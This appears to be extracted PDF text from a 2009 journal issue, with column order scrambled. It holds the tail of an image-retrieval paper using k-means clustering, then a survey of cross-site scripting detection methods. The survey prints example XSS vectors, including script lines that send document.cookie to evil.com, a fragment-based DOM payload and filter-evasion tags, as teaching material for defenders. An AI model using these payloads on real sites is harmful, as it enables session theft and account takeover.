After obtaining the six features from all pixels on the image and storing these in an array k-means clustering is performed using Borglet’s implementation of K-means clustering [10] to group similar pixel together and form k = 3 clusters. The same procedure is applied on every given image.
To segment an image into objects, six features are extracted from each block. Three features are color features, and the other three are texture features. The HSV color space is selected during color feature extraction due to its ability for easy transformation from RGB to HSV and vice versa. The quantization of HSV can produce a collection of colors that is also compact and complete [6]. These features are {H, S, and V} that are extracted from the RGB colour image.
The advantage of K-means algorithm is that it works well when clusters are not well separated from each other, which is frequently encountered in images. However, k-means requires the user to specify the initial cluster centers. C. Similarity Matching Many similarity measures have been developed for image retrieval based on empirical estimates of the feature extraction. Euclidean Distance is used for similarity matching in the present system.
To obtain the texture features, Haar wavelet transformation is used. The Haar wavelet is discontinuous and resembles a step function. It represents the energy in high frequency bands of the Haar wavelet transform. After a one-level wavelet transform, a 4 by 4 block is decomposed into four frequency bands, each band containing a 2 by 2 matrix of coefficients. Suppose the coefficients in the HL band are {ck+i, ck,j+1, ck+1,j, ck+1,j+1}. Then, the feature of the block in the HL band is computed as:
The Euclidean distance between two points P = (p1, p2, ……, pn) and Q = (q1,q2, ……, qn), in Euclidean nspace, is defined as:
System calculated 6 features of each image objects and then calculates the Euclidean distance of objects of given query image to all three objects of the images in the database. The distance between two images i.e between query image Q and other image A having three
20
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
clustered objects as Q/1, Q/2, Q/3 and A/1, A/2, we respectively, have approximated A/3 as follows: 1.
2.
3.
4. 5. 6. 7.
Find the Euclidean distance between objects Q/1 to all three objects of A. Let these distances are d1, d2, d3. Find the Euclidean distance between objects Q/2 to all three objects A. Let these distances is d4, d5, and d6. Find the Euclidean distance between object Q/3 to all three objects A. Let these distances are d7, d8, d9. Take M1 as minimum of the three distances d1, d2, and d3. Take M2 as minimum of the three distances d4, d5, and d6. Take M3 as minimum of the three distances d7, d8, and d9. Take the final distance between Q and A as the average of M1, M2, M3 i.e. Distance (Q, A) = (M1+M2+M3)/3.
Fig: 4.1 Images taken as example images PNo
H
S
V
HL
LH
HH
C1
C2
C3
1
0
0.12
0.44
-1
1
0
0
1
0
2
0.7
0.05
0.66
0
-1
1
0
1
0
3
0.86
0.08
0.76
0
-1
1
0
1
0
4
0.61
0.11
0.8
-32
32
32
0
1
0
5
0.7
0.09
0.87
-32
32
32
0
1
0
6
0.66
0.08
0.9
-33
-31.5
-31.5
0
1
0
7
0.59
0.13
0.78
31
72
32
0
1
0
8
0.56
0.17
0.75
31
72
32
0
1
0
9
0.6
0.1
0.67
0
0
142
0
1
0
10
0.51
0.09
0.64
0
0
142
0
1
0
11
0.54
0.08
0.58
-20
21.5
162
0
1
0
12
0.43
0.2
0.49
-20
21.5
162
0
1
0
13
0.47
0.4
0.64
20
20
-159
1
0
0
14
0.48
0.39
0.52
20
20
-159
1
0
0
15
0.47
0.2
0.38
1
-0.5
0.5
0
1
0
16
0.75
0.04
0.42
1
-0.5
0.5
0
1
0
17
0.97
0.15
0.57
2
-0.5
-0.5
0
1
0
18
0.96
0.21
0.66
-4
-136
-2.5
1
0
0
IV. EXPERIMENTAL PLAN The image retrieval system is implemented using MATLAB image processing tools and statistical tools. For the experiment, system use 12 remote sensing images of urban area obtained from LISS III sensors of 128x128 pixels (Figure 4.1) to perform image retrieval.
A. Feature Extraction Using MATLAB image processing following steps are done for feature extraction: 1.
2.
tools,
Color and texture features from each pixel are extracted as described in 3.1 (H,S,V for colour and HL, HH, LH for texture). The output of MATLAB code in step one are saved in excel file as an array containing 3 columns of color features and 3 columns of texture features and rows of the total number of pixel on each image.
B. K-Means Clustering Clustering the pixel values obtained from 4.1 using k-means to group similar features together. A sample is shown in table 4.1 of image 1. As can be seen in this table pixel 1 to pixel 17 belongs to cluster 2 and pixel 18 belongs to cluster 1. The results are shown in table 4.1.
Table 4.1 Clustering Result
1
2
3
4
1 0 0.21 0.08 0.18
5
6
7
8
0.17
0.19
0.17
0.17
9
10
11
12
0.27 0.16 0.17 0.21
Table 4.2: Distance between image 1 and all other images
21
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Similarity matching of images is based on Euclidean Distance. We get fruitful results on the example images used in the experiments. We can use this technique for mining similar images based on content and knowledge base for finding vegetation or water or building areas.
C. Similarity Matching Images similar to the query image are retrieved. The distance of image 1 is calculated from all the images using Euclidean distance. The final distance between the query image1 and the other entire images in database is shown in table 4.2.
6. REFERENCES
Distance of image 1 to image 2 is 0.211575 while the distance of image 1 to image 7 is 0.174309. Consider Image 4 as Query, the table 4.3 shows the distances (threshold between 0 and 0.1) with the closest images. As it is clear from the table that image 11 is closest to image 4. Image 4
Image 5
Image 6
Image 10
Image 11
0
0.079
0.097
0.11
0.077
Table 4.3: Distance between image 4 and all other similar images.
[1]
Li, J., Wang, J. Z. and Wiederhold, G., “Integrated Region Matching for Image Retrieval,” ACM Multimedia, 2000, p. 147156.
[2]
Flickner, M., Sawhney, H., Niblack, W., Ashley, J., Huang, Q., Dom, B., Gorkani, M., Hafner, J., Lee, D., Petkovic, D., Steele, D. and Yanker, P., “Query by image and video content: The QBIC system,” IEEE Computer, 28(9), 1995,pp.23-32
[3]
Pentland, A., Picard, R. and Sclaroff S., “Photobook: Contentbased manipulation of image databases”, International Journal of Computer Vision, 18(3), 1996, pp.233–254
[4]
Smith, J.R., and Chang, S.F., “Single color extraction and image query,” In Proceeding IEEE International Conference on Image Processing, 1997, pp. 528–531
[5]
Gupta, A., and Jain, R., “Visual information retrieval,” Comm. Assoc. Comp. Mach., 40(5), 1997, pp. 70–79
[6]
Eka Aulia, “Heirarchical Indexing for Region based image retrieval”, A thesis Submitted to the Graduate Faculty of the Louisiana State University and Agricultural and Mechanical College.
[7]
Shi, J., and Malik, J., “Normalized Cuts and Image Segmentation,” Proceedings Computer Vision and Pattern Recognition, June, 1997, pp. 731-737
[8]
Smith, J., “Color for Image Retrieval”, Image Databases: Search and Retrieval of Digital Imagery, John Wiley & Sons, New York, 2001, pp.285-311
[9]
Zhang, R. and Zhang, Z., (2002), “A Clustering Based Approach to Efficient Image Retrieval,” Proceedings of the 14th IEEE International Conference on Tools with Artificial Intelligence, pp. 339
Fig: 4.2: Similar images of query image 4. Consider Image 3 as Query, table 4.4 shows the distances (between 0 and 0.2) with the closest images. It is clear from the table that image 3 is closest to image 1. Image 3
Image 1
Image 2
Image 12
0
0.08195
0.19374
0.173131
Table 4.4: Distance between image 3 and all other similar images 5. CONCLUSION For retrieving similar images to a given query image we have tried to perform the segmentation of images using color & texture feature and then clustering of image features and finally calculate the similarity distance. Color Feature Extraction is done by HSV color space and texture feature extraction is done by haar wavelet transformation. Grouping of objects in the data is performed using K-means clustering algorithm.
22
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
[10]
http://fuzzy.cs.unimagdeburg.de/~borgelt/software for kmeans clustering software.
23
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Consideration Points: Detecting Cross-Site Scripting Suman Saha Dept. of Computer Science and Engineering Hanyang University Ansan, South Korea
[email protected] input is difficult to get right, primarily because of the many, often browse-specific, ways of invoking the JavaScript interpreter. Therefore, we may say, inadequate validation of user’s input is the key reason for Cross-site scripting (XSS) and effective input validation approach can be introduced to detect XSS vulnerabilities in a WA. But it’s not always true. I found a number of situations during my survey, only input validation is not satisfactory to prevent XSS. Several techniques have been developed to detect this injection problem. Some of those are dynamically and some of those are statically handled. Every researcher tried to present more competent and effectual methodology than previous work. But in my point of view, every method has pros and cons.
Abstract—Web application (WA) expands its usages to provide more and more services and it has become one of the most essential communication channels between service providers and the users. To augment the users’ experience many web applications are using client side scripting languages such as JavaScript but this growing of JavaScript is increasing serious security vulnerabilities in web application too, such as cross-site scripting (XSS). In this paper, I survey all the techniques those have been used to detect XSS and arrange a number of analyses to evaluate performances of those methodologies. This paper points major difficulties to detect XSS. I don’t implement any solution of this vulnerability problem because; my focus is for reviewing this issue. But, I believe that this assessment will be cooperative for further research on this concern as this treatise figure out everything on this transcendent security problem.
The rest of this paper is structured as follows. In Section II, this paper presents nuts and bolts of this area and tries to picture out why cross-site scripting is more tricky and uncanny than other injection problems. I review several research papers, journals, related websites, and more than thousand XSS vectors and summarize all of them under one frame in Section III. After reviewing of existing systems I found atleast one problem from each system and categorize major problems into five broad categories. The brief presentation of all those categories with some realistic examples is placed in section IV. Analyzing of well known ten methodologies those were used to detect cross-site scripting and figure out their real looks in regarding to my five problem categories in section V, and finally, Section VI concludes.
Keywords- cross-site scripting, injection attack, javascript, scripting languages security, survey, web application security
I.
INTRODUCTION
In this modern world, web application (WA) expands its usages to provide more and more services and it has become one of the most essential communication channels between service providers and the users. To augment the users’ experience many web applications are using client side scripting languages such as JavaScript but this growing of JavaScript is increasing serious security vulnerabilities in web application too. The topmost threat among those vulnerabilities is Cross-site scripting (XSS). The 21.5% among newly reported vulnerabilities were XSS, making it the most frequently reported security threat in 2006 [29, 30].
II.
XSS ATTACK TYPES
There are three distinct types of XSS attacks: nonpersistent, persistent, and DOM-based [8].
A class of scripting code is injected into dynamically generated pages of trusted sites for transferring sensitive data to any third party (i.e., the attacker’s server) and avoiding same-origin-policy or cookie protection mechanism in order to allow attackers to access confidential data. XSS usually affects victim’s web browser on the client-side where as SQL injection, related web vulnerability is involved with serverside. So, it is thorny for an operator of web application to trace the XSS holes. Moreover, no particular application knowledge or knack is required for any attacker to reveal the exploits. Additionally, several factors figure out in Wassermann and Su’s paper those contribute to the prevalence of XSS vulnerabilities [29]. First, the system requirements for XSS are minimal. Second, most web application programming languages provide an unsafe default for passing untrusted input to the client. Finally, proper validation for untrusted
Non-persistent cross-site scripting vulnerability is the most common type. The attack code is not persistently stored, but, instead, it is immediately reflected back to the user. For instance, consider a search form that includes the search query into the page with the results, but without filtering the query for scripting code. This vulnerability can be exploited, for example, by sending to the victim an email with a special crafted link pointing to the search form and containing a malicious JavaScript code. By tricking the victim into clicking this link, the search form is submitted with the JavaScript code as a query string and the attack script is immediately sent back to the victim, as part of the web page with the result. As another example, consider the case of user who accesses the popular trusted.com web site to perform sensitive operations
24
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Yahoooo! You Won Prize. Click on HERE to verify.
(e.g., on-line banking). The web-based application on trusted.com uses a cookie to store sensitive session information in the user’s browser. Note that, because of the same origin policy, this cookie is accessible only to JavaScript code downloaded from a trusted.com web server. However, the user may be also browsing a malicious web site, say www.evil.com, and could be tricked into clicking on the following link: 1 2 3 4 5 6 7 8
1 2 3 4 5
<SCRIPT> document. images[0].src = http://evil.com/images.jpg?stolencookie + document.cookie; Figure 3. Persistent XSS vector
document. location = ‘http://www.evil.com/steal-cookie.php?’ +document.cookie; ”> Click here to collect price.
DOM-based cross-site scripting attacks are performed by modifying the DOM “environment” in the client side instead of sending any malicious code to server. So the server doesn’t get any scope to verify the payload. The following example shows that a sign (#) means everything following it is fragment, i.e. not part of the query. 1 2
Figure 1. JavaScript code in HTTP request
http://www.evil.com/Home.html#name= <SCRIPT>alert(‘XSS’) Figure 4. DOM-based XSS vector
When the user clicks on the link, an HTTP request is sent by the user’s browser to the www.trusted.com web server, requesting the page: 1 2 3 4 5
Browser doesn’t send fragment to server, and therefore server would only see the equivalent of http://www.evil.com/Home.html, not the infected part of the payload. We see, therefore, that this evasion technique causes the major browsers not to send the malicious payload to the server. As a consequence, even the well-planned XSS filters become impotent against such attacks.
<SCRIPT> document. location = ‘http://www.evil.com/steal-cookie.php?’ +document.cookie; ”>
As Grossman, RSNAKE, PDP, Rager, and Fogie point out, cross-site scripting is a variegated problem that is not easy to solve anytime soon [14]. There is no quick fix that is acceptable for the majority like other security related issues. They figure out the problem as two-fold. First, the browsers are not secure by design. They are simply created to produce outputs with respect to requests. It is not the main duty of any browser to determine whether or not the piece of code is doing something malicious. Second, web application developers are unable to create secure sites because of programming knacks lacking or time margins. As a consequence, attackers get chances to exploit the applications’ vulnerabilities. Hence, now, the users are stuck between two impossible states.
Figure 2. JavaScript code, treating as requested link
The trusted.com web server receives the request and checks if it has the resource that is being requested. When the trusted.com host does not find the requested page, it will return an error page message. The web server may also decide to include the requested file name (which is actually script) will be sent from the trusted.com web server to the user’s browser and will be executed in the context of the trusted.com origin. When the script is executed, the cookie set by trusted.com will be sent to the malicious web site as a parameter to the invocation of the steal-cookie.php server-side script. The cookie will be saved and can be used by the owner of the evel.com site to impersonate the unsuspecting user with respect to trusted.com.
III.
EXISTING METHODS
A. Dynamic Approach
Persistent type stores malicious code persistently in a resource (in a database, file system, or other location) managed by the server and later displayed to users without being encoded using HTML entities. For instance, consider an online message board, where users can post messages and others can access them later. Let us assume further that the application does not remove script contents from posted messages. In this case, the attacker can craft a message similar to the next example.
1) Vulnerability Analysis based Approach: a) Interpreter-based Approaches: Pietraszek, and Berghe use approach of instrumenting interpreter to track untrusted data at the character level and to identify vulnerabilities they use context-sensitive string evaluation at each susceptible sink [18]. This approach is sound and can detect vulnerabilities as they add security assurance by modifying the interpreter. But approach of modifying interpreter is not easily applicable to some other web programming languages, such as Java (i.e., JSP and servlets) [2].
This message contains the malicious JavaScript code that the online message board stores in its database. A visiting user who reads the message retrieves the scripting code as part of the message. The user’s browser then executes the script, which, in turn sends the user’s sensitive information from his site to the attacker’s site.
b) Syntactical Structure Analysis: A successful inject attack changes the syntactical structure of the exploited entity,
25
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
stated by Su, and Wassermann in [2] and they present an approach to check the syntactic structure of output string to detect malicious payload. Augment the user input with metadata to track this sub-string from source to sinks. This metadata help the modified parser to check the syntactical structure of the dynamically generated string by indicating end and start position of the user given data. If there is any abnormality then it blocks further process. These processes are quite success while it detect any injection vulnerabilities other than XSS. Only checking the syntactic structure is not sufficient to prevent this sort of workflow vulnerabilities that are caused by the interaction of multiple modules [25]. 2) Attack Prevention Approach: a) Proxy-based Solution: Noxes, a web proxy protects against transferring of sensitive information from victim’s site to third party’s site [13]. This is an application-level firewall to block and detect malware. User is provided with finegrained control over each and every connection which are coming to or leaving from local machine. If any connection is mismatched with the firewall’s rules then firewall prompts the user to decide whether the connection needs to be blocked or allowed. Almost similar approaches apply in [12], [24], and [27]. Blacklisting the link is not sufficient technique to prevent cross-site Scripting attacks, e.g., those don’t go against same origin policy, as was the case of the Samy worm [10]. Huang et al. state, proxy-based solution doesn’t present any procedure to identify the errors and it needs watchful configuration [6]. These sorts of systems protect the unpredictable link without examining the fault which may increase the false positive [28].
Schwartzbach introduced the study of static string analysis for imperative (and real world) languages by showing the usefulness of string analysis for analyzing reflective code in Java programs and checking for errors in dynamically generated SQL queries [7]. They designed an analysis for Java using finite state automata (FSA) as its target language representation. They also applied techniques from computational linguistics to generate good FSA approximation of CFGs [32]. Their analysis, however, does not track the source of data, and because it must determine the FSA between each operation, it is less efficient that other string analyzes and not practical for finding XSS vulnerabilities [29]. Minamide followed same technique to design a string analysis for PHP that does not approximate CFGs to FSA. His proposed technique that checks the whole document for the presence of the “<script>” tag. Because web applications often include their own scripts, and because many other ways of invoking the JavaScript interpreter exist, the approach is not practical for finding XSS vulnerabilities. 3) Preventing XSS Using Untrusted Scripts: Using a list of untrusted scripts to detect harmful script from user given data is well- known technique. Wassermann and Su’s recent work [29] is a shadow of this process. They build policies and generate regular expressions of untrusted tags to check whether it has non-empty intersection between generated regular expression and CFG, generate from String taint static analysis, if so, they take further action. We believe that using any list of untrusted script is easy and poor idea. Same opinion is stated in the document of OWASP [17]. In the document, it was mentioned, “Do not use “blacklist” validation to detect XSS in input or to encode output. Searching for and replacing just a few characters (“<” “>” and other similar characters or phrases such as “script”) us weak and has been attacked successfully. XSS has a surprising number of variants that make it easy to bypass blacklist validation.” 4) Software Testing Techniques: Y. Huang, S. Huang, Lin, and Tsai use number of software-testing techniques such as black-box testing, fault injection, and behavior monitoring to web application in order to deduce the presence of vulnerabilities [15]. It’s a combination of user-behavior simulation with user experience modeling as black-box testing [28]. Similar approaches are used in several commercial projects such as APPScan [21], WebInspect[20], and ScanDo [23]. Since, these approaches are applied to identify errors in development cycle, so these may unable to provide instant Web application protection [6] and they cannot guarantee the detection of all flaws as well [27]. 5) Bounded Model Checking: Huang et al. use counterexample traces to reduce the number of inserted sanitization routines and to identify the cause of errors that increase the precision of both error reports and code instrumentation [28]. To verify legal information flow within the web application programs, they assign states those represent variables’ current trust level. Then, Bounded Model Checking technique is used to verify the correctness of all
b) Browser-Enforced Embedded Policies: A white list of all benign scripts is given by the web application to browser to protect from malicious code [10]. This smart idea allows only listed scripts to run. There is no similarity between different browsers’ parsing mechanism and as a consequence, successful filtering system of one browser may unsuccessful for another. So, the method of this paper is quite successful against this situation but enforcing the policy to browser requires a modification in that. So, it suffers for scalability problem from the web application’s point of view [11]. Every client need to have this modification version of the browser. B. Static Analysis 1) Taint Propagation Analysis: Lots of static and dynamic approaches use taint propagation analysis using data flow analysis to track the information flow from source to sink [4, 6, 9, 22, and 26]. The underlying assumption of this technique is as follows: if a sanitization operation is done on all paths from source to sinks then the application is secure [19]. Keeping faith on user’s filter and not checking the sanitization function at all is not a good idea at all because some XSS vectors can bypass many strong filters easily. Thus it doesn’t provide strong security mechanism [2]. 2) String Analysis: The study of string analysis grew out of the study of text processing programs. XDuce, a language designed for XML transformations uses formal language (e.g., regular languages) [31]. Christensen, Mǿller, and
26
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
whole evaluated string content is regarded as a DJS instance. Within the written content of the document.write() method and the value of the innerHTML property, a DJS instance can be identified by from three source [3].
possible safety states of the Abstract Interpretation of the program. In their method, they leave out alias analysis or include file resolution issues those are some of major problems in most of the current systems [26]. C. Static and Dynamic Analysis Combination 1) Lattice-based Analysis: The WebSSARI is a tool, combination of static and runtime features that apply static taint propagation analysis to find security vulnerabilities [6]. On the basis of lattice model and typestate this tool uses flow sensitive, intra-procedural analysis to detect vulnerability. This tool automatically inserts runtime guards, i.e., sanitization routines when it determines that tainted data reaches sensitive functions [25]. The major problems of this method are that it provides large number of false positive and negative due to its intraprocedural type-based analysis [4]. Moreover, this method considers the results from users’ designed filters are safe. Therefore, it may miss real vulnerabilities. Because, it may be possible that designated filtering function is not able to detect the malicious payload. IV.
In a URL using the special javascript:protocol specifier.
INSECURE JAVASCRIPT PRESENCE IN HTML FILES
No of HTML files
JS
DJS
106
83
eval
document.write
innerHTML
19
92
7
B. Malicious code between Static Scripts User input between any existing scripting codes is vital issue while detecting XSS. It’s really hard to find any method from existing systems that can solve this dilemma appropriately. There are two types of scripting code in any webpage. Some of them are static and some of them are dynamic (composed during runtime). Let’s begin the discus on this issue with one example. 1
<SCRIPT> var a = $ENV_STRING; Figure 5. User given data between static script code
In the above example, both starting both starting and ending tag of script are static and the user input is sandwiched between them that make the scripting code executable. But problem is that any successful injection in this context may create XSS vector. All strong filters of the existing systems try to find malicious code from the user input. This kind of situation in static code may help attackers to circumvent any detecting filter. For instance, the Samy MySpace Wormintroduced keywords prohibited by the filters (innerHTML) through JavaScript code that resulted the output as the client end (eval(‘inner’+’HTML’)) [10]. On the other hand we cannot eliminate any static scripting code while filtering because they are legitimate and there may be a safe user input between those legitimate codes. So it is hard to isolate and filter input that builds such construct without understanding the syntactical context in which they used [11]. So meaning of the syntax is a vital concern while filtering.
Two domain names are regarded as different only if, after discarding their top-level domain names (e.g., .com) and the leading name “www” (if existing); they don’t have any common sub-domain name. For instance, two domain name are regarded as different only if the intersection of the two sets { d1sub2.d1sub1} and { d2sub3.d2sub2.d2sub1} is empty [3]. d2sub3.d2sub2.d2sub1.d2tld
In an event handler specified as the value of an HTML attribute such as onclick or onmouseover;
To eliminate this risk, developers have to avoid insecure practice of JavaScript, such as they need to avoid external JavaScript inclusion using internal JavaScript files, eval() function need to be replaced with some other safe function [3].
A. Insecure JavaScript Practice Yue et al. characterize the insecure engineering practice of JavaScript inclusion and dynamic generation at different websites by examining severity and nature of security vulnerabilities [3]. These two insecure practices are the main reasons for injecting malicious code into websites and creating XSS vectors. According to their survey results, 66.4% of measured websites has insecure practice of JavaScript inclusion using src attribute of a script tag to include a JavaScript file from external domain into top-level domain document of a web page. Top-level document is document loaded from URL displayed in a web browser’s address bar.
2.
TABLE I.
After close examination of existing detectors, I found at least one problem from each detector. Those problems are categorized into five categories. A brief description of these categories along with some realistic examples is placed in this section.
www.d1sub2.d1sub1.d1tld
Between a pair of <SCRIPT> and tags
I investigated more than 100 home pages of unique websites manually (reading source file) to make a small measurement. My measurement results almost reflect their outcome.
CONSIDERATION POINTS TO DETECT XSS
1.
79.9% of measured websites uses one or more types of JavaScript dynamic generation techniques. In case of dynamic generation techniques, document.write(), innerHTML, eval() functions are more popular than some other secure methods. Their results show 94.9% of the measured website register various kinds of event handlers in their webpage. Dynamically generated Script (DJS) instance is identified in different ways for different generation techniques. For the eval() function, the
27
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
JavaScript code and many strong web application firewalls fail to filter this malicious code.
C. Browser-specific Problems The diversity of browser characteristics is one of the major problems while detecting vulnerabilities. Different browser parses web page differently. Some of them follow the rules of W3C and some of them it’s own. So, this multifaced of browsers makes many filters weak. Moreover, browser cannot distinguish between crafted scripts with malicious inputs and benign scripts. They are always ready to execute all scripts which is a cause of XSS attacks. For instance, some browser accept newline or white space in “JavaScript”, portion of a JavaScript:URL, some don’t. 1 2
In the eXtensible Markup Language (XML) world, there are mainly two types of parser, DOM and SAX. DOM-based parsers load the entire document as an object structure, which contains methods and variables to easily move around the document and modify nodes, values, and attributes on the fly. Browsers work with DOM. When a page is loaded, the browser parses the resulting page into an object structure. The getElementByTagName is a standard DOM function that is used to locate XML/HTML nodes based on their tag name.
Let’s start to discuss about on this topic deeply with Amit Klein given example. Say, the content of http://www.vulnerable.site/welcome.html as follows:
Figure 6. Newline between JavaScript
1 2 3 4 5 6 7 8 9 10 11
This will result in script execution for some browsers. Vector rely on the “ad-hoc(quirk)” behavior of the Firefox HTML parser e.g., only the Firefox executes – 1 2
<SCRIPT/XSS SRC = http://evil/e.js> Figure 7.
SCRIPT followed by non-character
Let’s look another case, 1 2 3
preg_replace(“/\<SCRIPT (.*?)\.(.*?)\ <\/SCRIPT(.*?)\>/i”, “SCRIPT BLOCKED”, $VALUE);
<TITLE> Welcome! <SCRIPT> var pos = document.URL.indexof(“name=”)+5 document.write(document.URL.substring (pos, document.URL.length));
Welcome to our System Figure 9. HTML page
If we analyze the code of the example, we will see that developer has forgotten to sanitize the value of the “name” get parameter, which is subsequently written inside the document as soon as it is retrieved. The result of this HTML page will be http://vulnerable.site/welcome.html?name= Joe (if user input is ‘Joe’). However, if the user input is any scripting code that would result in an XSS situation. e.g.;
Figure 8. Detect closing SCRIPT tag
The above function preg_replace looks for a closing script tag. Some browsers do not allow any scripting code without any closing script tag. But it’s not true for all. Most of the browsers accept scripting code without closing tag and automatically insert the missing tag [19]. This generosity of the browser helps any attacker to insert malicious code easily. So, Proper validation for malicious payload is difficult to get right. The nature of different browser’s parsing mechanisms must be a vital concern while developing any tool for detecting untrusted user input. Some of existing systems tried to overcome this problem but I think that those are not perfect for all browsers.
1 2 3
http://vulnerable.site/welcome.html?name= <SCRIPT> alert(document.cookie) Figure 10. DOM-based XSS vector
Many people may disagree with this statement and may argue that still, the malicious code is sending to the server, and any filter can be used in the server to identify it. Let’s see an update version of previous example.
D. DOM-based Problems One of the crucial problems of most existing systems is they cannot detect DOM-based XSS. So only identifying stored and reflected XSS is not sufficient for preventing all of XSS domain and according to Amit Klein’s article, DOMbased is one of the upcoming injection problems in web world because nowadays, most of the issues related to other type of XSS problems are being cleaned up on major websites [16]. So, bad guys will try for third type of XSS vulnerability. We already know, DOM-based XSS vector does not need to appear on the server and it’s not easy for a server to identify. So, attackers get extra advantage with this type of XSS vulnerability. DOM-based XSS is introduced by Amit Klein in his article [16] and this type XSS can be hidden in the
1 2 3
http://vulnerable.site/welcome.html#name= <SCRIPT> alert(document.cookie) Figure 11. DOM-based XSS vector with (#) sign
Here sign (#) right after the file name used as fragment starter and anything beyond this is not a part of query. Most of the well-known browsers do not send the fragment to server. So actual malicious part of the code is not appeared to the server, and therefore, the server would see the equivalent of http://www.vulnerable.site/welcome.html. More scenarios on DOM-based XSS are in Amit Klein’s article [16]. He suggests
28
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Balzarotti, Cova, Felmetsger, Vigna solved Multi-module problem in their work [11, 25] but most of other tools are not having any technique to handle it.
that minimizing insecure JavaScript practice in code may reduce the chances of DOM-based XSS. Web developer must be very careful when relying on local variables for data and control and should give attention on the scenarios wherein DOM is modified with the user input.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
Automated testing has only very limited success at identifying and validating DOM based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for Fig. 9 if we exclude the idea of (#) sign but may not work in the following contrived case: 1 2 3 4 5 6 7 8 9 10 11 12 13
<SCRIPT> var navAgt = navigator.userAgent; if (navAgt.indexOf(“MSIE”)!=-1) { document.write(“You are using IE and visiting site” +document.location.href+“.”); } else { document.write(“You are using an unknown browser.”); } Figure 12. DOM-based XSS vector
For this reason, automated testing will not detect areas that may be susceptible to DOM based XSS unless the testing tool can perform addition analysis of the client side code [34]. Manual testing should therefore be undertaken and can be done by examining areas in the code where parameter are referred to that may be useful to attackers. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed.
<TITLE> Enter User Name: php // connect to the existing session session_start(); // create a session variable session_register(“ses_var”); // set ses_var with php variable $HTTP_SESSION_VARS[“ses_var”] = $name if (isset($_POST[“user”])){ $name = addslashes($_POST[“user”]); exit; } ?>
Figure 13. Session variable problem- 1st page
1 2 3
After reading source code files of LogiCampus Educational Platform [33], an open source web application to look out the mentioned XSS holes, I found several holes. Number of different kinds of holes is given in Table II. For finding DOMbased XSS holes it was needed to look DOM modification code or code that is used to write on the client side web page. Any pattern using user defined data dynamically such as any eventhandler or inline scripting code is tracked to analyze static script code problem. Multi-module problem is mainly occurred by session variable. So, I follow data flow using session variables and this application used several session variables but before showing any user defined data to the client site this application use filtering functions. So, none of those session variables will create any multi-module problem for this application.
E. Multi-Module Problems The vulnerability of a server page is necessary condition for the vulnerability of web application, but it isn’t a necessary condition [1]. That means protecting any single page from a malicious code never guarantees the protection of entire web application. Server page may send user data to other page or to any other persistent data store instead of client browser. In these situations, XSS may occur through another page. Most of the existing systems don’t provide any procedure to handle this difficulty. In the multi-module scenario, data may be passed from one module to another module using some session variables and those session variables status are stored in cookies. Let’s see the above example. This below example is taken from [25]. In the above example, Fig. 13, we can see user input is stored into session variable and later it is stored into $name variable. In Fig. 14, that session variable is echoed through different page. So, any filtering process on $name variable will not effect to session variable. In this case, any malicious code can create XSS vector using session variable and can bypass any filtering process. Bisht, Venkatakrishnan and
TABLE II. Application Name LogiCampus Educational Platform
29
XSS HOLES IN A PARTICULAR WEB APPLICATION PHP files
HTML files
DOM based
Static Script
Multi Module
186
543
7
12
0
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
V.
included because we know DOM-based, and malicious code between static scripts are results of Insecure JavaScript practice. This is true; I don’t do any analysis using their tools practically because I don’t have. But I use their algorithms and procedures to make it possible. And I believe that this is sufficient to provide real picture.
EVALUATION
Well known ten methodologies which were used to detect cross-site scripting and figure out their real looks with respect to my five problem categories is analyzed in this section. Table III describes the capability of well-known tools to solve the problems which I have mentioned in my previous section. The results of this analysis are made using my knowledge which is acquired during my survey and some of them are made on the basis of following papers’ comments on those tools. The first column states the authors or researchers of existing tools. If any tool has Low status under any problem then it is unable to solve this problem. On the other hand if any tool has High status under any problem then that tool is able to resolve the problem and in the case of Medium, tool may solve some part of that problem. For instance, the method of Jim, Swamy, and Hicks [10] has Low status under Multi-module problem which states that the tool is not capable to solve multimodule problem. Table IV figures out the false positive rate of those tools and these results are made on the basis of their results and comments. Some results are made using following papers' comments on those tools. We can see in the Table IV some results carry Not Identified that means, I couldn’t summarize them. We can see in Table III, the method of Kirda, Kruegel, Vigna, and Jovanovic [13] has High status under all problems and it seems that it has capability to resolve all problems. But in Table IV we can find their method has High status that states this tool generates more false positive which is a massive disadvantage of any tool. Another stated problem in previous section, “Insecure Practice of JavaScript” is not TABLE III.
VI.
CONCLUSION
This is my analysis report on most well-known injection problem, cross-site scripting. I didn’t implement or run any tools to experiment. I use their algorithms and procedures to understand, how they work and I summarize their successes as well as limitations. I didn’t find any method that is 100% perfect. Even I am not presenting any tool that can detect XSS. I keep this task for my future movement. Web Application performs many critical tasks and deals with sensitive information. In our daily life, we pass our so many confidential data through this media. So this platform must be secure and stable. Nowadays, web application facing security problem for these injection problem and XSS is one of them. Researchers are doing hard work to make our web application platform more reliable. This survey report will help them for their further research on this issue. I believe that this report provides summary of all the methodologies, used for detecting XSS and their limitations and success as well.
EXISTING METHODS’ CAPABILITY TO RESOLVE PROBLEMS
Authors Su, and Wassermann [2] Minamide [5] Huang, Hang, Yu, Tsai, and Lee [6] Jim, Swamy, and Hicks [10] Jovanovic, Kruegel, and Kirda [12] Kirda, Kruegel, Vigna, and Jovanovic [13] Y. Huang, S. Huang, Lin, and Tsai [15] Pietraszek, and Berghe [18] Huang, Hang, Tsai, Lee, and Kuo [28] Wassermann, and Su [29]
TABLE IV.
Browser specific
DOM - based
Static Script
Multi - Module
